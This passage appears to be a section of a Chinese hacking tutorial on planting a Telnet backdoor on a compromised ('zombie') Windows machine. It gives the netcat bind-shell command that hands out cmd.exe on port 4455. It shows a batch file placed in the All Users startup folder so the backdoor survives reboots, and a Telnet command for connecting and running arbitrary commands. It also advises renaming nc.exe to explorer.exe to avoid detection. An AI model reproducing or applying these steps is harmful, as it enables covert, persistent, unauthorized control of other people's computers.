利用nc构建Telnet后门控制案例


4.1.6  利用nc构建Telnet后门控制案例
通过本案例你可以学习到:
① 通过nc来构建Telnet后门;
② 利用bat文件来启动nc后门。
nc俗称为网络中的"瑞士军刀"其功能强大,如果在肉鸡上运行"nc.exe -p port -L -d -e cmd.exe"命令就可以构建一个telnet后门,即使关闭了nc.exe程序运行窗口,该后门程序还继续存在。本案例通过一个bat文件来构建一个 telnet后门,当系统重新启动后,该后门会继续存在,具体操作步骤如下。
编辑一个bat文件。在IP地址为192.168.1.19的计算机上新建一个bat文件,取名为"1.bat",在其中输入以下内容,如图4-24所示。
@ 
@ start
@c:\nc.exe -p 4455 -L -d -e cmd.exe
@exit
(点击查看大图)图4-24构建一个bat文件
将1.bat复制到"All user"的启动文件夹。将"1.bat"文件复制到"C:\Documents and Settings\All Users\「开始」菜单\程序\启动"文件夹下,如图4-25所示。
(点击查看大图)图4-25复制1.bat文件到启动文件夹下
等待重启后使用Telnet连接肉鸡IP。重启计算机后,用户进入计算机后,会执行"1.bat"脚本,会启动nc程序从而开启4455端口。在本 地使用命令"telnet 192.168.1.19 4455"连接IP地址192.168.1.19 的计算机的4455端口,如图4-26所示,可以通过telnet连接肉鸡并在肉鸡上执行各种命令。
(点击查看大图)图4-26使用Telnet连接肉鸡4455端口
技巧
可以将nc.exe文件重新命名为其他文件,例如explorer.exe等,这样在任务管理器中看到的nc.exe变成explorer.exe了,不容易被发觉,而nc命令中加入"-L -d"后即使关闭了nc监听窗口,该命令行还继续存在。
小结
本案例通过编写bat批处理文件,并将该bat文件放在"C:\Documents and Settings\All Users\「开始」菜单\程序\启动"文件夹下,则无论哪个用户登录,都会启动该bat文件,从而保留nc的telnet后门,该后门只要知道端口,通 过telnet程序可以直接连接。

你可能感兴趣的:(职场,休闲)